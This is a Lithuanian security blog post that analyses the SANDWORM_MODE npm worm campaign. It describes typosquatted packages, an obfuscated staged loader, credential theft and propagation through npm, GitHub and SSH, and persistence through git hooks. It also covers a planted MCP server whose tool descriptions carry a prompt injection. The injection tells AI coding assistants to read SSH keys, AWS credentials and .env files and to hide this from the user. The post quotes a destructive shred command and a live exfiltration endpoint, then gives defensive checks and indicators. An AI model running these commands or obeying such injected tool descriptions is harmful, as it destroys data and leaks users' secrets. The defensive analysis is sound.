Tinklaraštis

SANDWORM_MODE: npm kirminas, kuris skaito jūsų raktus ir paslaptis Claude Code rankomis

SANDWORM_MODE_the-npm-worm_Claude
Linux / Saugumas

SANDWORM_MODE: npm kirminas, kuris skaito jūsų raktus ir paslaptis Claude Code rankomis

Įdiegiate paprastą npm paketą — kažką panašaus į supports-color, tik su rašybos klaida pavadinime, kurios niekas komandoje nepastebėjo. Po minutės terminale jau veikia spalvotas išvestis, viskas atrodo normaliai. O po 48–96 valandų, kai niekas jau nebeprisimena šio diegimo, fone tyliai atsidaro failas ~/.ssh/id_rsa. Jį atidaro ne įsilaužėlis. Jį atidaro jūsų pačių Claude Code, Cursor arba VS Code — nes pakištas MCP serveris mandagiai paprašė modelio „tikslumo dėlei” iš pradžių perskaityti kelis privačius raktus ir aplinkos kintamuosius, o paskui apie tai nieko nesakyti naudotojui.

Tai ne hipotetinis scenarijus. 2026 metų vasarį Socket Threat Research komanda aptiko veikiančią kampaniją, kurią pagal pačios kenkėjiškos programos vidines žymas pavadino SANDWORM_MODE — kirminą, plintantį per bent 19 kenkėjiškų npm paketų. 2026 metų liepą CrowdStrike paskelbė šios kampanijos aptikimo bandymų analizę ir sąžiningai pripažino: iš 14 ištirtų aktyvumo tipų patikimą signalą įspėjimams pavyko išgauti tik dviem. Priežastis paprasta ir nemaloni — tai, ką daro kirminas, beveik neatskiriama nuo to, ką kasdien teisėtai daro AI asistentai ir CI sistemos.

KAS YRA SANDWORM_MODE

SANDWORM_MODE — tiesioginis Shai-Hulud šeimos tęsinys, to paties kirmino, kuris 2025 metų rugsėjį per phishing ataką pavergė prižiūrėtoją Josh Junon (Qix-) ir išplito per kelis šimtus npm paketų, įskaitant supports-color, kurį jis prižiūri kartu su Sindre Sorhus. Kampanijos pavadinimą tyrėjai parinko ne dėl gražumo — jis tiesiogine prasme įrašytas kode: kenkėjiška programa valdoma per aplinkos kintamuosius su priešdėliu SANDWORM_* (SANDWORM_MODE, SANDWORM_SKIP_DELAY, SANDWORM_DRAIN_ENDPOINT ir taip toliau), o visa Shai-Hulud Diuno tematika beveik nepakitusi persikėlė į šiuos operatoriaus jungiklius.

Techniškai tai modulinis implantas 19 npm paketų, paskelbtų dviem publikuotojo pseudonimais — official334 ir javaorg. Paketai yra typosquat’ai: suport-color vietoj supports-color, claud-code, cloude ir cloude-code vietoj Claude Code, opencraw vietoj virusiškai populiaraus AI agento OpenClaw, surinkusio 210 tūkstančių žvaigždučių GitHub. Skaičiavimas akivaizdus: kūrėjas, kuris automatiškai suveda npm i claude-code su rašybos klaida, gauna ne pagalbininką, o kirminą. Tuo pačiu importuotas paketas veikia visiškai normaliai — [email protected], pavyzdžiui, sąžiningai realizuoja spalvų palaikymo aptikimą terminale, lygiai taip pat, kaip ir originalas, kurį jis mėgdžioja.

KAIP VEIKIA MECHANIZMAS

Viduje — trijų pakopų architektūra, sukurta taip, kad kiekviena pakopa slėptų kitą nuo skirtingo tipo analizės.

0 pakopa — įkroviklis. Paketo viduje slypi maždaug 167 kilobaitų dydžio base64 blokas, kuris importavimo metu išplečiamas per zlib.inflateSync(), iššifruojamas XOR būdu su statiniu 32 baitų raktu ir vykdomas per netiesioginį eval() — konstrukciją (0,eval)(d), kuri apeina kai kurias euristikas, susietas su tiesioginiu eval iškvietimu. Kitame variante, pakete scan-store, autoriai nuėjo dar toliau: naudingasis krovinys padalintas į 45 base64 fragmentus, užmaskuotus kaip įprasti konfigūracijos objekto laukai (_cfg_000_cfg_044), surenkamas vykdymo metu ir paleidžiamas per Module._compile() — tai yra visiškai be failo diske, grynai proceso atmintyje. Nė vienas statinis skeneris, tikrinantis paketą publikavimo metu, čia nepamatys nieko, išskyrus baitų triukšmą.

1 pakopa startuoja iškart po išpakavimo ir pirmiausia nuskaito aplinkos pėdsaką — tikrina, ar yra šie kintamieji:

  • CI
  • GITHUB_ACTIONS
  • GITLAB_CI
  • CIRCLECI
  • JENKINS_URL
  • BUILDKITE

Jei nustatytas bent vienas — kirminas nusprendžia, kad yra CI vykdytojuje, ir iškart paleidžia pagrindinę funkciją. Jei nė vieno nėra — nustato 5–30 sekundžių trukmės atsitiktinės delsos laukimą, apskaičiuotą iš hostname ir username MD5 maišos, su .unref() žyma, kad procesas Node neliktų aktyvus ir neišsiduotų užduočių tvarkyklėje. Tuo tarpu module.exports = {} — kodo, kuris importavo paketą, požiūriu tai tuščias apvalkalas, tarsi nieko neįvyko.

Toliau — greitas rinkimas be shell komandų vykdymo, tik failų skaitymas. Kirminas skaito:

  • .npmrc iš namų katalogo ir esamo darbinio katalogo — auth žetonus, tarpinio serverio prisijungimo duomenis
  • aplinkos kintamuosius, atitinkančius šablonus KEY, SECRET, TOKEN, PASSWORD
  • GitHub žetonus formatų ghp_, gho_, github_pat_
  • konfigūracijas, tokias kaip hardhat.config, foundry.toml, .env — iš jų ištraukiami privatūs raktai, BIP39 mnemonikos, Solana raktai, BTC WIF, xprv

Jei randami kripto raktai, jie iškart, dar prieš bet kokį laiko vartų tikrinimą, išsiunčiami per atskirą HTTP POST į Cloudflare Worker adresu https://pkg-metrics.official334.workers.dev/drain, autorizuotą užkoduotu bearer žetonu. Tai autorių draudimo polisas: net jei kitoje pakopoje kažkas nepavyks, pati vertingiausia informacija jau ištekėjo.

Tik po to tikrinami laiko vartai: paketo įdiegimo laikas (katalogo mtime) plius bazinė 48 valandų delsa plius iki 48 papildomų valandų atsitiktinės delsos, susietos su hostname+username maiša. Bendra delsa siekia 48–96 valandas priklausomai nuo mašinos. CI aplinkose šie vartai visiškai apeinami dar aplinkos nustatymo žingsnyje — ten viskas suveikia akimirksniu, nes vykdytojo gyvavimo ciklas trumpesnis nei bet kokia delsa. Jei laikas dar neatėjo įprastoje darbo stotyje, vykdymas sustoja, bet iki tol surinkti duomenys jau ištekėjo.

Kai vartai atsidaro, 1 pakopa iššifruoja įmontuotą 2 pakopos šifruotą tekstą per AES-256-GCM su 32 baitų raktu, sudarytu iš dviejų XOR komponentų, įrašo rezultatą į laikiną failą, pavyzdžiui, /dev/shm/.node_<hex>.js (arba sistemos temp kataloge, jei /dev/shm neprieinamas), atlieka require() ir iškart unlink() — failas diske egzistuoja vos kelias milisekundes. Tai tiesioginis reflective loading analogas, tik pritaikytas Node vykdymo aplinkai vietoj Windows proceso atminties.

2 pakopa eksportuoja penkis modulius: Propagate, Exfil, DeadSwitch, McpInject ir GitHooks. Būtent čia prasideda įdomiausia dalis skaitytojui, kuris savo serveriuose ir darbo stotyse vienu metu laiko nginx, CI vykdytojus ir AI asistentus.

REALI ATAKOS GRANDINĖ

Pradėkime nuo plitimo — modulis Propagate vykdo tris nepriklausomus vektorius, bandomus kaskadiniu principu. Pirmasis: jei kirminas turi pavogtą npm žetoną, jis iškviečia whoami, kad patvirtintų savininką, išvardija visus tos paskyros paketus, surikiuoja juos pagal atsisiuntimų skaičių — kuo daugiau atsisiuntimų ir kuo ilgiau paketas apleistas, tuo aukštesnis jo „score”, tai yra tuo patrauklesnis grobio taikinys — atsisiunčia archyvą, pervadina originalų įėjimo failą į index.original.js, įdeda kenkėjišką kodą į .cache/content-v2.cjs, sukuria shim apvalkalą, kuris pakrauna kenkėjišką kodą ir vėliau sąžiningai eksportuoja originalą iš naujo, padidina patch versiją pagal semver ir publikuoja paketą per npm.

npm publish --access public

Jei publikavimui reikia OTP — kirminas šiame žingsnyje sustoja, dviejų faktorių autentifikacijos apeiti jis nemoka.

Antrasis vektorius — GitHub API su pavogtais žetonais: išvardijami visi ne-fork ir neaktyvuoti repozitorijos, ieškoma package.json šaknyje ir monorepo kataloguose, pridedama priklausomybė nuo „nešančio” paketo — to paties, kurį kirminas sėkmingai publikavo pirmame žingsnyje. Commit’as bando patekti tiesiai į pagrindinę šaką; jei įjungta branch protection — sukuriama atskira šaka nekaltu pavadinimu, pavyzdžiui, chore/update-deps-a1b2c3, atidaromas PR su pavadinimu „Routine dependency version update”, ir kirminas bando pats jį sujungti — pirmiausia squash, po to įprastą merge, po to rebase, po to per GraphQL enableAutoMerge. Lygiagrečiai į repozitoriją pridedamas workflow su pull_request_target trigeriu, kuris serializuoja paslaptis per ${{ toJSON(secrets) }} ir siunčia jas per HTTPS su DNS atsarginiu variantu.

Trečiasis vektorius — SSH — įsijungia tik tada, kai pirmieji du nedavė nė vieno sujungto PR ir aplinkoje yra SSH_AUTH_SOCK. Kirminas patikrina prieigą prie GitHub šia komanda.

ssh -T [email protected] 2>&1

Iš GitHub atsakymo ištraukiamas naudotojo vardas, toliau kirminas iki 3 lygio gilumo skenuoja tokius katalogus:

  • ~/projects
  • ~/repos
  • ~/dev
  • ~/work

Randa iki 50 repozitorijų su sukonfigūruotu GitHub remote, klonuoja juos per SSH, prideda priklausomybę, atlieka commit’ą aukos vardu ir bando push’inti — jei šaka apsaugota, sukuria naują ir push’ina į ją.

Atskirai nuo plitimo veikia įsitvirtinimas per git hook’us: kirminas sukuria ~/.git-templates/hooks/pre-commit ir pre-push su kenkėjiška logika, išsaugodamas esamus hook’us kaip .original ir juos vėliau iškviesdamas, kad niekas pastebimai nesugestų.

Tada nustatomas globalus git konfigūracijos parametras init.templateDir, nurodantis į ~/.git-templates. Nuo šio momento kiekvienas naujas git init arba git clone mašinoje automatiškai paveldi užkrėstus hook’us — be jokio papildomo užpuoliko veiksmo.

Pre-commit tyliai prideda „nešančią” priklausomybę į package.json kiekvieno commit’o, kuris jį liečia, metu; pre-push kiekvieno push’o metu per DNS nutekina žetonus iš .npmrc, git remote’us ir aplinkos paslaptis.

Ir galiausiai — modulis McpInject, tai, kas šią kampaniją paverčia atskira atakų klase, o ne dar viena Shai-Hulud variacija. Kirminas sugeneruoja atsitiktinį tikėtiną pavadinimą, pavyzdžiui, dev-utils arba node-analyzer, sukuria paslėptą katalogą namų kataloge (~/.dev-utils/) ir jame paleidžia savo MCP serverį, kuris registruoja tris nekaltai skambančius įrankius — index_project, lint_check, scan_dependencies — pagal standartinį MCP JSON-RPC protokolą.

Kiekvieno įrankio aprašyme įsiūta prompt injection: blokas <IMPORTANT>, kuris nurodo modeliui prieš naudojant įrankį perskaityti šiuos failus:

  • ~/.ssh/id_rsa
  • ~/.ssh/id_ed25519
  • ~/.aws/credentials
  • ~/.npmrc
  • .env failus projekto šaknyje

Taip pat surinkti aplinkos kintamuosius, kurių pavadinime yra TOKEN, KEY, SECRET arba PASSWORD, ir viską perduoti kaip JSON context parametre — tuo pačiu blokas tiesiogiai nurodo apie šį žingsnį nepasakoti naudotojui, nes tai neva „automatiškai apdorojama vidinio konvejerio”.

Toliau serveris įrašomas į visų pagrindinių AI asistentų konfigūracijas:

  • Claude Code — ~/.claude/settings.json
  • Claude Desktop — visose trijose platformose
  • Cursor — ~/.cursor/mcp.json
  • VS Code Continue — ~/.continue/config.json
  • Windsurf — ~/.windsurf/mcp.json

Įrašas mcpServers atrodo lygiai taip pat, tarsi naudotojas pats būtų pridėjęs lokalų kūrimo serverį.

Tai reiškia, kad užpuolikui visai nereikia eksploatuoti pažeidžiamumo pačiame modelyje. Jis tiesiog aprašo kenkėjišką veiksmą kaip privalomą žingsnį „tikslumo dėlei” — o modelis, kuris pagal MCP protokolą pasitiki įrankių aprašymais, jį įvykdo tyliai. Tas pats modulis lygiagrečiai renka devynių LLM tiekėjų API raktus — OpenAI, Anthropic, Google, Groq, Together, Fireworks, Replicate, Mistral, Cohere — iš aplinkos kintamųjų ir .env-failų, kiekvieną patikrindamas pagal regex formatą.

Jei plitimas ir eksfiltracija vienu metu nepavyksta, suveikia DeadSwitch — destruktyvus jungiklis, kuris ataskaitos publikavimo metu buvo išjungtas (enabled: false), tačiau komanda jo suveikimui Linux/macOS sistemose jau įrašyta kode:

find ~ -type f -writable -user $USER -print0 | xargs -0 shred -uvz -n 1

Tai negrįžtamas visų naudotojui rašomų failų sunaikinimas.

LAIKO JUOSTA

2026 metų vasario 17 dieną sukuriama vieša GitHub repozitorija ci-quality/code-quality-check to paties operatoriaus paskyroje — užsimaskavusi kaip nekaltas GitHub Action kodo kokybei tikrinti Node.js projektuose. Viduje — 809 eilučių paketas, kuris renka CI paslaptis, job santraukoje parodo „Code Quality Check Results” su nuliu rastų problemų ir, veikdamas tuo pačiu varikliu kaip ir npm kirminas, į pasiekiamas repozitorijas įterpia priklausomybes ir workflow failus. Grobio taikinių reitingavimo formulė pažodžiui pakartota japoniškai parašytuose komentaruose: „rikiuoti paketus pagal score, kur score lygus atsisiuntimų skaičiui, padaugintam iš apleisties metų skaičiaus ir penkių minimumo.”

2026 metų vasario 20 dieną Socket Threat Research komanda paskelbia išsamią kampanijos analizę, identifikuoja 19 kenkėjiškų paketų ir abu publikuotojo pseudonimus. Prieš skelbimą Socket informuoja npm, GitHub ir Cloudflare — Cloudflare operatyviai išjungia workers, npm pašalina paketus, GitHub uždaro paskyros infrastruktūrą. Ataskaitos publikavimo metu repozitorija ci-quality/code-quality-check nerodė patvirtinto viešo plitimo — galbūt ji buvo skirta vien vidiniam testavimui.

2026 metų vasario–kovo mėnesiais apie kampaniją atskirai rašo Endor Labs, Kodem Security, SecurityWeek, Help Net Security ir kiti — visi remiasi pirminiu Socket tyrimu ir iš esmės sutaria dėl vieno dalyko: tai pirmoji plataus masto kampanija, kuri tikslingai išnaudoja ne kodo pažeidžiamumą, o AI asistento pasitikėjimą MCP įrankių aprašymais.

2026 metų liepos 21 dieną CrowdStrike paskelbia savo analizę — ne naują kilmės tyrimą, o ataskaitą apie bandymą sukurti aptikimo mechanizmą jau žinomai kampanijai. Iš šios ataskaitos matyti, galbūt, nemaloniausia visos istorijos detalė.

KODĖL TAI SVARBU

CrowdStrike atliko spragų analizę tarp SANDWORM_MODE galimybių ir esamo aptikimo turinio bei gavo rezultatą, kurį verta skaityti lėtai: iš 14 ištirtų kenkėjiškos veiklos tipų kokį nors atskiriamą signalą pavyko gauti devyniems, bet tik du peržengė patikimumo ribą, reikalingą klientams matomiems įspėjimams. Likusi dalis nusėdo tylaus signalizavimo režime — telemetrija renkama, bet naudotojui nieko nerodoma, nes klaidingų suveikimų rizika per didelė.

Priežastis — ne konkrečių detektorių silpnumas, o struktūrinė aplinkos savybė. Teisėtas AI asistentas po gaubtu yra node procesas, kuris skaito konfigūracijos failus, juos rašo, paleidžia vaikinius procesus ir kreipiasi į išorines API. Kirminas daro lygiai tą patį tomis pačiomis priemonėmis dėl tų pačių priežasčių. CI pusėje ta pati istorija: konvejeris teisėtai iškviečia npm publish, kuria commit’us, atidaro PR, push’ina į repozitorijas, valdo paslaptis — kirmino plitimo logika funkciškai neatskiriama nuo įprasto release proceso. CrowdStrike tiesiogiai vadina tai klasikinės living-off-the-land technikos (kai kenkėjiška veikla užsimaskuoja po standartiniais sistemos įrankiais, tokiais kaip PowerShell ar certutil) evoliucija, pritaikyta AI kūrimo infrastruktūrai — living off the AI toolchain.

Atskirai aptikimui trukdo pati laiko bombos architektūra: 48–96 valandos tarp paketo įdiegimo kūrėjo darbo stotyje ir momento, kai įvyksta kas nors įtartino. Paketo importavimo įvykis ir kenkėjiška veikla atsiduria skirtinguose telemetrijos languose, kurie daugeliui SIEM ir EDR sprendimų tiesiog gali nesutapti dėl žurnalų saugojimo gylio.

Šio tinklaraščio skaitytojui yra trys atskiri rizikos sluoksniai. Jei administruojate CI/CD infrastruktūrą — GitHub Actions vykdytojus, GitLab CI arba self-hosted build serverius — susiduriate su aplinka, kur kirmino laiko vartai visiškai apeinami ir kur paslaptys surenkamos bei nutekinamos per pirmąsias darbo vykdymo sekundes. Jei jūs ar jūsų komanda darbo stotyse naudojate Claude Code, Cursor, Windsurf ar VS Code su plėtiniais — potencialiai pasitikite lokaliu MCP serveriu, kurio patys nediegėte ir apie kurio egzistavimą galite nežinoti, kol rankomis nepatikrinsite konfigūracijos. Ir jei prižiūrite savo pačių npm paketus, galite tapti kito bangos nešėju, net jei patys niekada nediegėte nė vieno iš 19 žinomų užkrėstų paketų, — vien todėl, kad jūsų npm ar GitHub žetonas nutekėjo iš kitos kompromituotos mašinos.

KAIP TO IŠVENGTI

Pirma ir akivaizdžiausia — MCP serveriai nepasirodo AI asistentų konfigūracijose patys savaime, todėl reguliarus šių failų tikrinimas dėl mcpServers įrašų, kurių patys nepridėjote, turėtų tapti tokia pat rutinine operacija kaip crontab -l tikrinimas įtarus serverio kompromitavimą:

  • ~/.claude/settings.json
  • ~/.cursor/mcp.json
  • ~/.continue/config.json
  • ~/.windsurf/mcp.json

Ieškokite įrašų, nurodančių į paslėptus katalogus, tokius kaip ~/.dev-utils, ~/.node-analyzer ir panašius — teisėti MCP serveriai paprastai nurodo į žinomus npm paketus ar įdiegtus kelius, o ne į atsitiktinai pavadintus paslėptus katalogus namų kataloge.

Jei serveris, kuriame veikia Claude Code, turi administracinį valdymą, oficiali Claude Code dokumentacija duoda tiesioginį būdą apriboti, kokie MCP serveriai apskritai gali užsikrauti. Faktiškai prijungtų dabartinės sesijos serverių sąrašą parodo komanda:

claude mcp list

Jei išvestyje yra serveris, kurio niekas komandoje nepridėjo — tai kompromitavimo signalas, reikalaujantis nedelsiamo patikrinimo. Norint užblokuoti konkretų serverį pagal pavadinimą, nepriklausomai nuo to, kaip jis buvo pridėtas, valdomame nustatymų šaltinyje (server-managed settings arba faile managed-settings.json) įrašomas deniedMcpServers įrašas:

{
  "deniedMcpServers": [
    { "serverName": "dev-utils" }
  ]
}

Draudimų sąrašas susijungia iš visų nustatymų šaltinių ir taikomas net serveriams, jau įrašytiems naudotojo konfigūracijoje. Patikimesniam blokavimui, atspariam serverio pervadinimui, vietoj pavadinimo geriau nurodyti tikslią paleidimo komandą per serverCommand.

Trečia — architektūrinis sprendimas, o ne vienkartinis patikrinimas: paslaptys, prie kurių gali prieiti procesas, vykdantis trečiosios šalies kodą (o npm install su post-install skriptais, MCP serveriai ir AI asistentai — būtent tokie procesai), turi būti minimalios pagal mažiausių privilegijų principą. Kur įmanoma, priklausomybių diegimą verta atlikti su išjungtais post-install skriptais.

npm install --ignore-scripts

Papildomai — atskiri scoped npm žetonai su trumpu galiojimo laiku vietoj vieno ilgai galiojančio žetono su teisėmis publikuoti visus jūsų paketus, ir perėjimas prie OIDC pagrįsto trusted publishing vietoj npm žetonų laikymo CI kintamuosiuose — tai konkretūs žingsniai, mažinantys kiekvieno atskirai pavogto identifikavimo duomenų vieneto vertę.

Ketvirta — git infrastruktūros lygmenyje verta aiškiai patikrinti globalaus parametro init.templateDir reikšmę kiekvienoje komandos darbo stotyje:

git config --global --get init.templateDir

Jei komanda negrąžina jokios reikšmės — parametras nenustatytas, viskas gerai. Jei ten įrašytas kelias, kurio nė vienas administratorius sąmoningai nenustatė, šio katalogo turinį reikia ištirti prieš jį šalinant.

Tas pats galioja šiems katalogams esamose repozitorijose:

  • .git/hooks/
  • .husky/

Jei hook’ai staiga nurodo į .original failus greta savęs, tai beveik tikrai reiškia, kad originalus hook’as buvo pakeistas ir išsaugotas kaip atsarginė kopija kenkėjiško kodo, o ne kūrėjo.

Penkta — CI vykdytojams: apriboti workflow, galinčius publikuoti paketus ar prieiti prie paslapčių, privalomą pakeitimų .github/workflows/ ir priklausomybių failuose peržiūrą kaip atskirą pull request’ų kategoriją, reikalaujančią rankinio patvirtinimo, o ne auto-merge, ir stebėti neįprastą paketų publikavimo aktyvumą — jei prižiūrėtojo paskyra staiga publikuoja paketą, kurio nelietė kelis mėnesius, tai verta pastebėti anksčiau nei tai padarys bendruomenė.

KĄ DARYTI

Jei jūsų projektuose ar CI kada nors buvo įdiegtas bent vienas iš šių paketų — laikykite aplinką, kurioje tai įvyko, potencialiai kompromituota, nepriklausomai nuo to, kiek laiko praėjo:

  • claud-code
  • cloude-code
  • cloude
  • crypto-locale
  • crypto-reader-info
  • detect-cache
  • format-defaults
  • hardhta
  • locale-loader-pro
  • naniod
  • node-native-bridge
  • opencraw
  • parse-compat
  • rimarf
  • scan-store
  • secp256
  • suport-color
  • veim
  • yarsg

Tikrinti kiekvieną paketą iš sąrašo po vieną su npm ls yra varginantis darbas — vietoj to visus 19 galima patikrinti vienu metu naudojant npm query, kuris palaiko CSS stiliaus selektorius su OR logika, atskirtus kableliais:

npm query "[name=claud-code], [name=cloude-code], [name=cloude], [name=crypto-locale], [name=crypto-reader-info], [name=detect-cache], [name=format-defaults], [name=hardhta], [name=locale-loader-pro], [name=naniod], [name=node-native-bridge], [name=opencraw], [name=parse-compat], [name=rimarf], [name=scan-store], [name=secp256], [name=suport-color], [name=veim], [name=yarsg]"

Komanda grąžina JSON masyvą su visais rastais atitikmenimis priklausomybių medyje; tuščias masyvas [] reiškia, kad nė vienas iš išvardytų paketų nėra įdiegtas. Jei reikia patikrinti konkretų paketą atskirai, tam tinka ir paprastesnė komanda:

npm ls <paketo_pavadinimas>

Jei išvestyje matomas kelias iki paketo, jis yra įdiegtas — tiesiogiai arba kaip tranzityvi priklausomybė. Toliau pašalinkite jį standartine komanda:

npm uninstall <paketo_pavadinimas>

Ši komanda pašalina paketą ne tik iš disko, bet ir iš package.json, package-lock.json bei npm-shrinkwrap.json, jei tokie yra. Bet vien šios komandos neužtenka — kadangi kirminas jau galėjo įsitvirtinti per git hook’us ir MCP konfigūracijas dar prieš paketo pašalinimą, po to vis tiek reikia visiškai pašalinti node_modules/ ir iš naujo įdiegti priklausomybes nuo nulio, nepasikliaujant daliniu išvalymu.

Toliau — visų žetonų ir paslapčių, prie kurių procesas galėjo prieiti, rotacija: npm žetonai, GitHub žetonai, CI paslaptys, AWS raktai, jei jie buvo aplinkos kintamuosiuose paveiktoje mašinoje. Patikrinkite package.json pakeitimų istoriją per pastaruosius mėnesius dėl papildymų, kurių niekas komandoje neprisimena — komanda parodys pilną commit’ų, palietusių šį failą, istoriją, įskaitant pervadinimus:

git log -p --follow -- package.json

Tą pačią komandą verta pakartoti lock failams ir failams kataloge .github/workflows/, vietoj package.json nurodant atitinkamą kelią — ypač ieškokite naujų workflow su pull_request_target trigeriu.

Patikrinkite globalų init.templateDir nustatymą git konfigūracijoje kiekvienoje kūrėjo darbo stotyje:

git config --global --get init.templateDir

Jei jis nurodo į katalogą, kurio patys sąmoningai nenustatėte, hooks/ turinį jame reikia perskaityti rankomis, prieš šalinant konfigūraciją.

Galiausiai rankomis palyginkite kiekvieną įrašą mcpServers su tuo, ką realiai diegėte jūs ar jūsų kūrėjai. Konfigūracijų turinį galima iškart išvesti į terminalą:

cat ~/.claude/settings.json ~/.cursor/mcp.json ~/.continue/config.json ~/.windsurf/mcp.json 2>/dev/null

Žymė 2>/dev/null slopina klaidas failams, kurių konkrečioje mašinoje gali nebūti — jei nė vienas asistentas neįdiegtas, išvestis tiesiog bus tuščia, ir tai normalu. Jei naudojamas Claude Code, tą patį dabartinės sesijos serverių sąrašą galima gauti komanda claude mcp list — išvestyje turėtų būti tik serveriai, kuriuos komanda sąmoningai prijungė. Šios atakų kategorijos pataisos įprasta prasme nėra — nes pažeidžiamas ne kodas, o pasitikėjimo modelis tarp įrankio ir jį naudojančio asistento.

IŠVADOS

CI/CD infrastruktūros administratoriui: SANDWORM_MODE laiko vartai visiškai apeinami CI aplinkose — būtent ten, kur labiausiai pasitikite automatizacija, kirminas suveikia greičiausiai. Workflow failų auditas dėl netikėtų pull_request_target trigerių ir numatytųjų GITHUB_TOKEN teisių apribojimas turėtų tapti bazinės konfigūracijos dalimi, o ne vienkartine priemone po incidento.

Kūrėjui, naudojančiam Claude Code, Cursor, Windsurf ar kitą AI asistentą: patikrinkite mcpServers konfigūracijose dabar pat, nepriklausomai nuo to, ar diegėte ką nors iš užkrėstų paketų sąrašo — jei komandoje bent vienas kūrėjas turėjo užkrėstą paketą, o git hook’ai spėjo įsitvirtinti per bendrus šablonus ar bendras repozitorijas, rizika neapsiriboja viena mašina.

Savo pačių npm paketų prižiūrėtojui: perėjimas prie trumpai galiojančių scoped žetonų ir OIDC pagrįsto trusted publishing panaikina patį pirmąjį žingsnį, nuo kurio priklauso visa SANDWORM_MODE platinimo grandinė — ilgai galiojančio publikavimo žetono vagystę.

Leave your thought here

El. pašto adresas nebus skelbiamas. Būtini laukeliai pažymėti *